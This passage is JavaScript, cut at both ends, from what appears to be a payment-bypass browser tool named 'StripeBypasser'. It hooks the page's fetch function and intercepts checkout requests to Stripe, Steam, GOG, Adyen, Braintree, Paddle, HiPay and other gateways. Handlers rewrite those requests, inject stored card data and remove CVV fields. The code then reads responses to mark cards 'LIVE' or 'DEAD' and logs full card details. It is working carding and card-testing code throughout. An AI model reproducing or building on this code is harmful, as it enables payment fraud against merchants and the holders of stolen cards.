          bodyType: typeof options.body,
          handlerAvailable:
            !!window.BraintreeBypasserPayment && !!window.BraintreeBypasserPayment.handleGogPayment
        };
        if (stripeBypasserLogger && stripeBypasserLogger.log) {
          stripeBypasserLogger.log(
            "[FetchInterceptor] Braintree detected in FETCH",
            braintreeFetchInfo
          );
        }
      }
      const isPaddleRequest =
        (url.includes("checkout-service.paddle.com") || url.includes("paddle.com")) &&
        (url.includes("/pay") || url.includes("/checkout"));
      let hasPaddlePayload = false;
      if (!isPaddleRequest && options.body && typeof options.body === "string") {
        hasPaddlePayload =
          options.body.includes("tokenex_card") &&
          options.body.includes("payment_method_data") &&
          (options.body.includes("encrypted_card_number") ||
            options.body.includes("encrypted_cvv")) &&
          (url.includes("/pay") || url.includes("/checkout"));
      } else if (!isPaddleRequest && options.body && typeof options.body === "object") {
        try {
          const serializedData = JSON.stringify(options.body);
          hasPaddlePayload =
            serializedData.includes("tokenex_card") &&
            serializedData.includes("payment_method_data") &&
            (serializedData.includes("encrypted_card_number") ||
              serializedData.includes("encrypted_cvv")) &&
            (url.includes("/pay") || url.includes("/checkout"));
        } catch (error) {
          logInterceptedFetchError(error);
        }
      }
      const isUniversalPaddle = isPaddleRequest || hasPaddlePayload;
      const isEdfaExecuteRequest =
        url.includes("api.edfapay.com") &&
        url.includes("/payment/execute") &&
        requestMethod === "POST";
      let hasEdfaPayload = false;
      if (!isEdfaExecuteRequest && options.body) {
        let serializedRequestBody = options.body;
        if (typeof serializedRequestBody !== "string") {
          if (serializedRequestBody instanceof FormData) {
            const searchParams = new URLSearchParams();
            for (const [bodyKey, fieldValue] of serializedRequestBody.entries()) {
              searchParams.append(bodyKey, fieldValue);
            }
            serializedRequestBody = searchParams.toString();
          } else if (serializedRequestBody instanceof URLSearchParams) {
            serializedRequestBody = serializedRequestBody.toString();
          } else if (typeof serializedRequestBody === "object") {
            try {
              serializedRequestBody = JSON.stringify(serializedRequestBody);
            } catch (error) {
              serializedRequestBody = String(serializedRequestBody);
            }
          } else {
            serializedRequestBody = String(serializedRequestBody);
          }
        }
        if (typeof serializedRequestBody === "string") {
          const normalizedText = serializedRequestBody.toLowerCase();
          hasEdfaPayload =
            (normalizedText.includes("card_number") || normalizedText.includes("cardnumber")) &&
            (normalizedText.includes("card_exp_month") ||
              normalizedText.includes("card_expmonth") ||
              normalizedText.includes("cardexpmonth")) &&
            (normalizedText.includes("card_exp_year") ||
              normalizedText.includes("card_expyear") ||
              normalizedText.includes("cardexpyear")) &&
            (normalizedText.includes("merchant_id") ||
              normalizedText.includes("merchantid") ||
              normalizedText.includes("order_id") ||
              normalizedText.includes("orderid")) &&
            (url.includes("/payment") || url.includes("/checkout") || url.includes("/execute"));
        }
      }
      const isEdfaPgRequest = url.includes("pgapi.edfapay.com") && url.includes("/api/v1/payment");
      const isUniversalEdfaPay = (isEdfaExecuteRequest || hasEdfaPayload) && !isEdfaPgRequest;
      const isHiPayApi = url.includes("secure2-vault.hipay-tpp.com/rest/v2/token");
      const isHiPayTransactionRequest =
        url.includes("api.hipay.com/v1/transaction") ||
        url.includes("api.hipay.com/v2/transaction") ||
        (url.includes("hipay.com") && url.includes("/transaction"));
      const isHiPay = hasHiPayPayload;
      const isUniversalHiPay = isHiPayApi || isHiPay || isHiPayTransactionRequest;
      if (isUniversalHiPay || url.includes("checkout.com") || url.includes("hipay")) {
        console.log("[HiPayDetection] Final result:", {
          url,
          isHiPayAPI: isHiPayApi,
          isHiPayPayload: isHiPay,
          isUniversalHiPay,
          isCheckoutCom,
          reason: getHiPayStatusReason({
            isUniversalHiPay,
            isHiPayApi,
            isHiPay
          })
        });
      }
      if (
        isCheckoutCom &&
        !isUniversalHiPay &&
        (url.includes("checkout.com") || url.includes("hipay"))
      ) {
        console.log("[DetectionExplanation] Why Checkout.com instead of HiPay:", {
          url,
          isCheckoutCom,
          isUniversalHiPay,
          hasCheckoutComUrl:
            url.includes("api.checkout.com") || url.includes("checkout.com/tokens"),
          hasHipayUrl: url.includes("hipay"),
          explanation:
            "URL matches Checkout.com pattern. For HiPay detection, URL must include hipay-tpp.com or hipay.com with /token endpoint, OR payload must have HiPay-specific fields (card_number, card_expiry_month, card_expiry_year, card_holder)"
        });
      }
      if (
        !isStripeDomainUrl &&
        !isGogApi &&
        !hasStripePayload &&
        !isCheckoutCom &&
        !isAdyenRequest &&
        !isUniversalSquare &&
        !isNordPayRequest &&
        !isUniversalBraintree &&
        !isUniversalPaddle &&
        !isUniversalSteam &&
        !isSmartGlocalPayment &&
        !isUniversalEdfaPay &&
        !isUniversalHiPay
      ) {
        return originalFetch.apply(this, fetchArgs);
      }
      let settingsData = {};
      if (
        window.StripeBypasserSettings &&
        typeof window.StripeBypasserSettings.get === "function"
      ) {
        settingsData = window.StripeBypasserSettings.get();
      } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
        settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
      }
      if (settingsData && settingsData.enabled === false) {
        return originalFetch.apply(this, fetchArgs);
      }
      const isStripePaymentRequest =
        url.includes("/v1/payment_methods") ||
        url.includes("/v1/payment_intents") ||
        url.includes("/v1/setup_intents") ||
        url.includes("/v1/payment_pages") ||
        url.includes("/v1/checkout/sessions") ||
        url.includes("/v1/invoices") ||
        url.includes("/v1/billing_portal") ||
        url.includes("/v1/confirmation_tokens") ||
        (url.includes("api.stripe.com") &&
          (url.includes("/v1/") || url.includes("/payment") || url.includes("/checkout")));
      const isInitRequest = url.includes("/init");
      if (
        !isUniversalSquare &&
        (url.includes("/v1/payment_methods") ||
          url.includes("/v1/setup_intents") ||
          url.includes("/v1/confirmation_tokens") ||
          (url.includes("/v1/payment_intents") && (url.includes("/confirm") || options.body))) &&
        window.StripeBypasserPayment &&
        window.StripeBypasserPayment.handlePaymentMethods
      ) {
        const stripePayloadUpdate = window.StripeBypasserPayment.handlePaymentMethods(
          options,
          settingsData
        );
        if (stripePayloadUpdate) {
          options = stripePayloadUpdate;
        }
      }
      if (isUniversalSteam && options.body) {
        const steamRequestInfo = {
          url,
          isSteamAPI: isSteamApi,
          isSteamPayload,
          isUniversalSteam,
          hasBody: !!options.body,
          handlerAvailable:
            !!window.SteamBypasserPayment && !!window.SteamBypasserPayment.handleGogPayment
        };
        console.log("[SteamHandler] Steam request detected - RUNNING HANDLER", steamRequestInfo);
        stripeBypasserLogger.log("[FetchInterceptor] Steam request detected", steamRequestInfo);
        if (!window.SteamBypasserPayment && options.body) {
          console.warn("[SteamHandler] Handler not available, waiting...");
          stripeBypasserLogger.warn(
            "[FetchInterceptor] Steam isValidBin not available yet, waiting..."
          );
        }
        if (window.SteamBypasserPayment && window.SteamBypasserPayment.handleGogPayment) {
          console.log("[SteamHandler] Calling handleGogPayment...");
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const steamPayloadUpdate = window.SteamBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (steamPayloadUpdate) {
            options = steamPayloadUpdate;
            const cvcRemoved =
              steamPayloadUpdate.body &&
              typeof steamPayloadUpdate.body === "string" &&
              !steamPayloadUpdate.body.includes("SecurityCode") &&
              !steamPayloadUpdate.body.includes("CardSecurityCode") &&
              !steamPayloadUpdate.body.includes("CVV");
            const cvcStatus = {
              cvcRemoved
            };
            console.log("[SteamHandler] Handler returned modified options", cvcStatus);
            stripeBypasserLogger.log(
              "[FetchInterceptor] Steam isValidBin modified request",
              cvcStatus
            );
          } else {
            console.warn("[SteamHandler] Handler returned no modifications");
          }
        } else {
          console.error("[SteamHandler] Handler not available after wait", {
            hasSteamBypasserPayment: !!window.SteamBypasserPayment,
            hasHandlePayment:
              !!window.SteamBypasserPayment && !!window.SteamBypasserPayment.handleGogPayment
          });
          stripeBypasserLogger.warn("[FetchInterceptor] Steam isValidBin not available", {
            hasSteamBypasserPayment: !!window.SteamBypasserPayment,
            hasHandlePayment:
              !!window.SteamBypasserPayment && !!window.SteamBypasserPayment.handleGogPayment
          });
        }
        console.log("[SteamHandler] Returning from Steam isValidBin");
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (url.includes("steampowered.com") && requestMethod === "POST") {
        console.error("[SteamHandler] Steam URL detected but NOT matched - THIS IS THE PROBLEM!", {
          url,
          isUniversalSteam,
          isSteamAPI: isSteamApi,
          isSteamPayload,
          hasBody: !!options.body,
          bodyPreview:
            options.body && typeof options.body === "string"
              ? options.body.substring(0, 200)
              : "N/A"
        });
      }
      if (isGogApi && options.body) {
        const requestBodyText =
          typeof options.body === "string" ? options.body : JSON.stringify(options.body || "");
        const hasAdyenEncryptedFields =
          requestBodyText.includes("encryptedCardNumber") ||
          requestBodyText.includes("encryptedSecurityCode") ||
          requestBodyText.includes("encryptedExpiryMonth") ||
          requestBodyText.includes("encryptedExpiryYear");
        if (!hasAdyenEncryptedFields) {
          stripeBypasserLogger.debug(
            "[FetchInterceptor] GOG request skipped - no Adyen encrypted fields (early request)",
            {
              bodyPreview: requestBodyText.substring(0, 200),
              url
            }
          );
          return originalFetch.apply(this, [requestInput, options]);
        }
        if (window.GogBypasserPayment && window.GogBypasserPayment.handleGogPayment) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          stripeBypasserLogger.log(
            "[FetchInterceptor] GOG request detected with Adyen encrypted fields, calling isValidBin",
            {
              hasAdyenEncryptedFields,
              bodyLength: requestBodyText.length,
              bodyPreview: requestBodyText.substring(0, 200)
            }
          );
          const gogPayloadUpdate = window.GogBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (gogPayloadUpdate) {
            options = gogPayloadUpdate;
            const cvcRemoved =
              gogPayloadUpdate.body &&
              typeof gogPayloadUpdate.body === "string" &&
              !gogPayloadUpdate.body.includes('"encryptedSecurityCode"');
            if (
              window.createGogGodModeBanner &&
              gogPayloadUpdate.body &&
              (gogPayloadUpdate.__gogPayloadModified === true ||
                gogPayloadUpdate.__gogCardInjected === true)
            ) {
              setTimeout(() => {
                try {
                  window.createGogGodModeBanner();
                } catch (error) {
                  logInterceptedFetchError(error);
                }
              }, 0);
            }
            stripeBypasserLogger.log("[FetchInterceptor] GOG isValidBin modified request", {
              payloadModified: gogPayloadUpdate.__gogPayloadModified,
              cardInjected: gogPayloadUpdate.__gogCardInjected,
              cvcRemoved
            });
          } else {
            stripeBypasserLogger.warn(
              "[FetchInterceptor] GOG isValidBin returned no modifications",
              {
                handlerReturnedNull: gogPayloadUpdate === null,
                handlerReturnedUndefined: gogPayloadUpdate === undefined
              }
            );
          }
          return originalFetch.apply(this, [requestInput, options]);
        }
        const gogHandlerStatus = {
          hasGogBypasserPayment: !!window.GogBypasserPayment,
          hasHandlePayment:
            !!window.GogBypasserPayment && !!window.GogBypasserPayment.handleGogPayment,
          url
        };
        stripeBypasserLogger.warn(
          "[FetchInterceptor] GOG isValidBin not available",
          gogHandlerStatus
        );
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (url.includes("steampowered.com")) {
        console.error(
          "[SquareHandler] BLOCKED: Steam URL detected - Square isValidBin will NOT process this!",
          {
            url,
            isUniversalSquare,
            isSteamURL: isSteamUrl,
            isUniversalSteam
          }
        );
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isGogApi || url.includes("api.gog.com")) {
        console.error(
          "[SquareHandler] BLOCKED: GOG URL detected - Square isValidBin will NOT process this!",
          {
            url,
            isUniversalSquare,
            isGogAPI: isGogApi
          }
        );
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isSmartGlocalPayment && options.body) {
        const smartGlocalInfo = {
          url,
          hasBody: !!options.body,
          handlerAvailable:
            !!window.SmartGlocalBypasserPayment &&
            !!window.SmartGlocalBypasserPayment.handleGogPayment
        };
        stripeBypasserLogger.log(
          "[FetchInterceptor] Smart Glocal request detected",
          smartGlocalInfo
        );
        if (
          window.SmartGlocalBypasserPayment &&
          window.SmartGlocalBypasserPayment.handleGogPayment
        ) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const smartGlocalPayloadUpdate = window.SmartGlocalBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (smartGlocalPayloadUpdate) {
            options = smartGlocalPayloadUpdate;
            stripeBypasserLogger.log(
              "[FetchInterceptor] Smart Glocal isValidBin modified request",
              {
                payloadModified: smartGlocalPayloadUpdate.__smartGlocalPayloadModified,
                cardInjected: smartGlocalPayloadUpdate.__smartGlocalCardInjected
              }
            );
          }
        } else {
          stripeBypasserLogger.warn("[FetchInterceptor] Smart Glocal isValidBin not available");
        }
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isUniversalSquare && !isSteamUrl && !isUniversalSteam && !isGogApi) {
        if (
          options.body &&
          window.SquareBypasserPayment &&
          window.SquareBypasserPayment.handleGogPayment
        ) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const squarePayloadUpdate = window.SquareBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (squarePayloadUpdate) {
            options = squarePayloadUpdate;
            stripeBypasserLogger.log("[FetchInterceptor] Square isValidBin modified request");
          }
        } else if (options.body) {
          stripeBypasserLogger.warn("[FetchInterceptor] Square isValidBin not available", {
            hasSquareBypasserPayment: !!window.SquareBypasserPayment,
            hasHandlePayment:
              !!window.SquareBypasserPayment && !!window.SquareBypasserPayment.handleGogPayment
          });
        }
        return originalFetch.apply(this, [requestInput, options]);
      }
      const hiPayRequestInfo = {
        url
      };
      if (isHiPayTransactionRequest) {
        stripeBypasserLogger.log(
          "[FetchInterceptor] HiPay transaction detected - intercepting response for decline codes",
          hiPayRequestInfo
        );
        return originalFetch.apply(this, [requestInput, options]).then(response => {
          response
            .clone()
            .text()
            .then(responseText => {
              try {
                let responseJson = null;
                try {
                  responseJson = JSON.parse(responseText);
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                if (!responseJson) {
                  return;
                }
                const normalizedStatus =
                  typeof responseJson.status === "string" ? responseJson.status.toLowerCase() : "";
                const isDeclinedStatus =
                  normalizedStatus === "declined" ||
                  normalizedStatus === "refused" ||
                  normalizedStatus === "error" ||
                  normalizedStatus === "blocked";
                const isAuthorizedStatus =
                  normalizedStatus === "authorized" ||
                  normalizedStatus === "captured" ||
                  normalizedStatus === "accepted";
                let storedCardString = null;
                try {
                  if (typeof window !== "undefined" && window.localStorage) {
                    storedCardString =
                      window.localStorage.getItem("hipayBypasserLastCardString") ||
                      window.localStorage.getItem("stripeBypasserLastCard");
                  }
                } catch (error) {
                  logInterceptedFetchError(error);
                }
                const storedCardLog = storedCardString;
                if (isAuthorizedStatus) {
                  const paymentLogEntry = {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: storedCardLog
                      ? "HiPay: Payment Succeeded | Card: " + storedCardLog
                      : "HiPay: Payment Succeeded",
                    logType: "success",
                    cardInfo: storedCardLog,
                    responseText: "Payment authorized successfully!",
                    gateway: "hipay",
                    merchant:
                      responseJson.merchant_reference || responseJson.order_id || "HiPay Checkout",
                    successUrl: window.location?.href || url,
                    siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                    responseData: responseJson,
                    url
                  };
                  emitPaymentLogEntry(paymentLogEntry);
                }
                if (isDeclinedStatus) {
                  let parsedPayload = null;
                  try {
                    if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                      parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                        "hipay",
                        responseJson,
                        responseText
                      );
                    }
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                  const declineCode =
                    parsedPayload?.code ||
                    responseJson?.error?.code ||
                    responseJson?.code ||
                    "Unknown";
                  const errorMessage =
                    parsedPayload?.message ||
                    responseJson?.error?.message ||
                    responseJson?.message ||
                    "";
                  const isLiveCard = parsedPayload?.isLive || false;
                  const statusLabel = isLiveCard ? "LIVE" : "DEAD";
                  const logType = isLiveCard ? "success" : "error";
                  const message = storedCardLog
                    ? statusLabel +
                      " | HiPay: Decline Code: " +
                      declineCode +
                      " | Card: " +
                      storedCardLog +
                      (errorMessage ? " | " + errorMessage : "")
                    : statusLabel +
                      " | HiPay: Decline Code: " +
                      declineCode +
                      (errorMessage ? " | " + errorMessage : "");
                  try {
                    window.postMessage(
                      {
                        type: "STRIPE_BYPASSER_SHOW_BANNER",
                        bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                        bannerType: isLiveCard ? "success" : "error",
                        details:
                          statusLabel +
                          " | HiPay: Decline Code: " +
                          declineCode +
                          (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                      },
                      "*"
                    );
                  } catch (error) {
                    logInterceptedFetchError(error);
                  }
                  const paymentLogEntry = {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message,
                    logType,
                    cardInfo: storedCardLog,
                    declineCode,
                    responseText:
                      "Payment refused: " +
                      declineCode +
                      (errorMessage ? " - " + errorMessage : ""),
                    gateway: "hipay",
                    merchant:
                      responseJson?.merchant_reference ||
                      responseJson?.order_id ||
                      "HiPay Checkout",
                    successUrl: window.location?.href || url,
                    siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                    responseData: responseJson,
                    url
                  };
                  emitPaymentLogEntry(paymentLogEntry);
                }
              } catch (error) {
                logInterceptedFetchError(error);
              }
            })
            .catch(error => {
              logInterceptedFetchError(error);
            });
          return response;
        });
      }
      if ((isHiPayApi || isHiPay) && options.body) {
        console.log("[HiPayDetection] HiPay request detected - PROCESSING:", {
          url,
          isHiPayAPI: isHiPayApi,
          isHiPayPayload: isHiPay,
          isUniversalHiPay,
          hasBody: !!options.body,
          bodyPreview: typeof options.body === "string" ? options.body.substring(0, 200) : "object",
          handlerAvailable:
            !!window.HiPayBypasserPayment && !!window.HiPayBypasserPayment.handleGogPayment,
          timestamp: new Date().toISOString()
        });
        stripeBypasserLogger.log("[FetchInterceptor] HiPay request detected", {
          url,
          hasBody: !!options.body,
          handlerAvailable:
            !!window.HiPayBypasserPayment && !!window.HiPayBypasserPayment.handleGogPayment
        });
        if (window.HiPayBypasserPayment && window.HiPayBypasserPayment.handleGogPayment) {
          console.log("[HiPayDetection] Calling HiPay isValidBin...");
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const hiPayPayloadUpdate = window.HiPayBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (hiPayPayloadUpdate) {
            options = hiPayPayloadUpdate;
            console.log("[HiPayDetection] HiPay isValidBin modified request", {
              bodyModified: hiPayPayloadUpdate.body !== options.body
            });
            stripeBypasserLogger.log("[FetchInterceptor] HiPay isValidBin modified request");
          }
          console.log("[HiPayDetection] Returning early - preventing Checkout.com isValidBin");
          return originalFetch.apply(this, [requestInput, options]);
        }
        const hiPayHandlerStatus = {
          hasHiPayBypasserPayment: !!window.HiPayBypasserPayment,
          hasHandlePayment:
            !!window.HiPayBypasserPayment && !!window.HiPayBypasserPayment.handleGogPayment
        };
        console.warn("[HiPayDetection] HiPay isValidBin not available", hiPayHandlerStatus);
        stripeBypasserLogger.warn(
          "[FetchInterceptor] HiPay isValidBin not available",
          hiPayHandlerStatus
        );
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isCheckoutCom && !isUniversalHiPay && options.body) {
        console.log("[CheckoutComDetection] Checkout.com request detected:", {
          url,
          isCheckoutCom,
          isUniversalHiPay,
          hasBody: !!options.body,
          bodyPreview: typeof options.body === "string" ? options.body.substring(0, 200) : "object",
          handlerAvailable:
            !!window.CheckoutComBypasserPayment &&
            !!window.CheckoutComBypasserPayment.handleGogPayment,
          timestamp: new Date().toISOString()
        });
        if (
          window.CheckoutComBypasserPayment &&
          window.CheckoutComBypasserPayment.handleGogPayment
        ) {
          console.log("[CheckoutComDetection] Calling Checkout.com isValidBin...");
          const checkoutPayloadUpdate = window.CheckoutComBypasserPayment.handleGogPayment(
            options,
            settingsData
          );
          if (checkoutPayloadUpdate) {
            options = checkoutPayloadUpdate;
            console.log("[CheckoutComDetection] Checkout.com isValidBin modified request", {
              bodyModified: checkoutPayloadUpdate.body !== options.body,
              bodyPreview:
                typeof checkoutPayloadUpdate.body === "string"
                  ? checkoutPayloadUpdate.body.substring(0, 200)
                  : "object"
            });
          }
          stripeBypasserLogger.log("[FetchInterceptor] Checkout.com isValidBin modified request");
        } else {
          console.warn("[CheckoutComDetection] Checkout.com isValidBin not available", {
            hasCheckoutComBypasserPayment: !!window.CheckoutComBypasserPayment,
            hasHandlePayment:
              !!window.CheckoutComBypasserPayment &&
              !!window.CheckoutComBypasserPayment.handleGogPayment
          });
        }
      } else if (isCheckoutCom && isUniversalHiPay) {
        console.log("[CheckoutComDetection] Skipping Checkout.com isValidBin - HiPay detected:", {
          url,
          isCheckoutCom,
          isUniversalHiPay
        });
      }
      if (isAdyenRequest && options.body) {
        if (window.AdyenBypasserPayment && window.AdyenBypasserPayment.handleGogPayment) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const adyenPayloadUpdate = window.AdyenBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (adyenPayloadUpdate) {
            options = adyenPayloadUpdate;
            stripeBypasserLogger.log("[FetchInterceptor] Adyen isValidBin modified request");
          }
        } else {
          stripeBypasserLogger.warn("[FetchInterceptor] Adyen isValidBin not available", {
            hasAdyenBypasserPayment: !!window.AdyenBypasserPayment,
            hasHandlePayment:
              !!window.AdyenBypasserPayment && !!window.AdyenBypasserPayment.handleGogPayment
          });
        }
      }
      if (isNordPayRequest && options.body) {
        if (window.NordPayBypasserPayment && window.NordPayBypasserPayment.handleGogPayment) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const nordPayPayloadUpdate = window.NordPayBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (nordPayPayloadUpdate) {
            options = nordPayPayloadUpdate;
            stripeBypasserLogger.log("[FetchInterceptor] NordPay isValidBin modified request");
          }
        } else {
          stripeBypasserLogger.warn("[FetchInterceptor] NordPay isValidBin not available", {
            hasNordPayBypasserPayment: !!window.NordPayBypasserPayment,
            hasHandlePayment:
              !!window.NordPayBypasserPayment && !!window.NordPayBypasserPayment.handleGogPayment
          });
        }
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isUniversalBraintree) {
        if (stripeBypasserLogger && stripeBypasserLogger.log) {
          stripeBypasserLogger.log("[FetchInterceptor] Braintree FETCH request detected", {
            isBraintreeAPI: isBraintreeApi,
            isBraintreePayload,
            isUniversalBraintree,
            hasBody: !!options.body,
            bodyType: typeof options.body,
            url: url.substring(0, 100)
          });
        }
        if (
          options.body &&
          typeof options.body === "object" &&
          !(options.body instanceof FormData) &&
          !(options.body instanceof URLSearchParams)
        ) {
          try {
            options.body = JSON.stringify(options.body);
            if (stripeBypasserLogger && stripeBypasserLogger.log) {
              stripeBypasserLogger.log(
                "[FetchInterceptor] Converted Braintree body from object to string"
              );
            }
          } catch (error) {
            if (stripeBypasserLogger && stripeBypasserLogger.error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] Failed to stringify Braintree body",
                error
              );
            }
          }
        }
        if (
          !window.BraintreeBypasserPayment &&
          options.body &&
          stripeBypasserLogger &&
          stripeBypasserLogger.warn
        ) {
          stripeBypasserLogger.warn(
            "[FetchInterceptor] Braintree isValidBin not available yet, waiting..."
          );
        }
        if (
          options.body &&
          window.BraintreeBypasserPayment &&
          window.BraintreeBypasserPayment.handleGogPayment
        ) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const originalRequestBody = gatewayRequestOptions.body;
          const braintreePayloadUpdate = window.BraintreeBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (braintreePayloadUpdate) {
            options = braintreePayloadUpdate;
            const bodyModified = braintreePayloadUpdate.body !== originalRequestBody;
            if (stripeBypasserLogger && stripeBypasserLogger.log) {
              stripeBypasserLogger.log("[FetchInterceptor] Braintree isValidBin modified request", {
                bodyModified,
                originalBodyLength:
                  typeof originalRequestBody === "string" ? originalRequestBody.length : "N/A",
                modifiedBodyLength: typeof options.body === "string" ? options.body.length : "N/A"
              });
            }
          } else if (stripeBypasserLogger && stripeBypasserLogger.warn) {
            stripeBypasserLogger.warn(
              "[FetchInterceptor] Braintree isValidBin returned no modifications"
            );
          }
        } else if (stripeBypasserLogger && stripeBypasserLogger.warn) {
          stripeBypasserLogger.warn(
            "[FetchInterceptor] Braintree isValidBin not available or no body",
            {
              hasBraintreeBypasserPayment: !!window.BraintreeBypasserPayment,
              hasHandlePayment:
                !!window.BraintreeBypasserPayment &&
                !!window.BraintreeBypasserPayment.handleGogPayment,
              hasBody: !!options.body,
              bodyType: typeof options.body
            }
          );
        }
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isUniversalPaddle && options.body) {
        const requestBodyText = serializeRequestBodyValue(options.body);
        const hasTokenExCard = requestBodyText.includes("tokenex_card");
        const hasEncryptedCard = requestBodyText.includes("encrypted_card_number");
        if (typeof console !== "undefined" && console.log) {
          console.log(
            "[Paddle] Fetch intercept: url=",
            url?.slice(0, 80),
            "inIframe=",
            window.self !== window.top,
            "host=",
            window.location?.hostname,
            "bodyLen=",
            requestBodyText?.length,
            "hasTokenex=",
            hasTokenExCard,
            "hasEncrypted=",
            hasEncryptedCard
          );
        }
        if (window.PaddleBypasserPayment && window.PaddleBypasserPayment.handleGogPayment) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const paddlePayloadUpdate = window.PaddleBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (paddlePayloadUpdate) {
            const paddleRequestBody =
              typeof paddlePayloadUpdate.body === "string"
                ? paddlePayloadUpdate.body
                : String(paddlePayloadUpdate.body);
            options = paddlePayloadUpdate;
            stripeBypasserLogger.log("[FetchInterceptor] Paddle isValidBin modified request");
            if (typeof console !== "undefined" && console.log) {
              console.log(
                "[Paddle] Fetch after isValidBin: bodyLen=",
                paddleRequestBody?.length,
                "changed=",
                paddleRequestBody !== requestBodyText,
                "hasEncrypted=",
                paddleRequestBody.includes("encrypted_card_number")
              );
            }
          }
        }
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isUniversalEdfaPay && options.body) {
        if (window.EdfaPayBypasserPayment && window.EdfaPayBypasserPayment.handleGogPayment) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const edfaPayPayloadUpdate = window.EdfaPayBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (edfaPayPayloadUpdate) {
            options = edfaPayPayloadUpdate;
            stripeBypasserLogger.log("[FetchInterceptor] EdfaPay isValidBin modified request");
          }
          return originalFetch.apply(this, [requestInput, options]);
        }
        const edfaPayHandlerStatus = {
          hasEdfaPayBypasserPayment: !!window.EdfaPayBypasserPayment,
          hasHandlePayment:
            !!window.EdfaPayBypasserPayment && !!window.EdfaPayBypasserPayment.handleGogPayment
        };
        stripeBypasserLogger.warn(
          "[FetchInterceptor] EdfaPay isValidBin not available",
          edfaPayHandlerStatus
        );
        return originalFetch.apply(this, [requestInput, options]);
      }
      if (isUniversalSteam && options.body) {
        if (window.SteamBypasserPayment && window.SteamBypasserPayment.handleGogPayment) {
          const gatewayRequestOptions = {
            ...options,
            url
          };
          const steamPayloadUpdate = window.SteamBypasserPayment.handleGogPayment(
            gatewayRequestOptions,
            settingsData
          );
          if (steamPayloadUpdate) {
            options = steamPayloadUpdate;
            const cvcRemoved =
              steamPayloadUpdate.body &&
              typeof steamPayloadUpdate.body === "string" &&
              !steamPayloadUpdate.body.includes("SecurityCode") &&
              !steamPayloadUpdate.body.includes("CardSecurityCode") &&
              !steamPayloadUpdate.body.includes("CVV");
            const cvcStatus = {
              cvcRemoved
            };
            stripeBypasserLogger.log(
              "[FetchInterceptor] Steam isValidBin modified request",
              cvcStatus
            );
          }
          return originalFetch.apply(this, [requestInput, options]);
        }
        const steamHandlerStatus = {
          hasSteamBypasserPayment: !!window.SteamBypasserPayment,
          hasHandlePayment:
            !!window.SteamBypasserPayment && !!window.SteamBypasserPayment.handleGogPayment
        };
        stripeBypasserLogger.warn(
          "[FetchInterceptor] Steam isValidBin not available",
          steamHandlerStatus
        );
      }
      if (isStripePaymentRequest) {
        return originalFetch
          .apply(this, [requestInput, options])
          .then(async response => {
            const responseClone = response.clone();
            try {
              const responseText = await responseClone.text();
              let responseJson = null;
              try {
                if (responseText && responseText.trim()) {
                  responseJson = JSON.parse(responseText);
                }
              } catch (error) {
                logInterceptedFetchError(error);
              }
              let parsedPayload = null;
              if (window.StripeBypasserCardStorage && window.StripeBypasserCardStorage.getCard) {
                parsedPayload = window.StripeBypasserCardStorage.getCard();
              }
              const cardInfo = parsedPayload
                ? parsedPayload.number +
                  "|" +
                  String(parsedPayload.month || "").padStart(2, "0") +
                  "|" +
                  String(parsedPayload.year || "").slice(-2) +
                  "|" +
                  (parsedPayload.cvc || "")
                : null;
              const isStripePaymentSucceeded = (paymentResponse, responseText) => {
                if (!paymentResponse && !responseText) {
                  return false;
                }
                if (paymentResponse?.status === "succeeded") {
                  return true;
                }
                if (paymentResponse?.payment_intent?.status === "succeeded") {
                  return true;
                }
                if (paymentResponse?.charge?.status === "succeeded") {
                  return true;
                }
                if (paymentResponse?.latest_charge?.status === "succeeded") {
                  return true;
                }
                if (
                  paymentResponse?.object === "payment_intent" &&
                  paymentResponse?.status === "succeeded"
                ) {
                  return true;
                }
                if (
                  paymentResponse?.object === "charge" &&
                  paymentResponse?.status === "succeeded"
                ) {
                  return true;
                }
                if (typeof responseText === "string") {
                  const normalizedText = responseText.toLowerCase();
                  if (
                    normalizedText.includes('"status": "succeeded"') ||
                    normalizedText.includes('"status":"succeeded"') ||
                    normalizedText.includes('"payment_intent":{"status":"succeeded"') ||
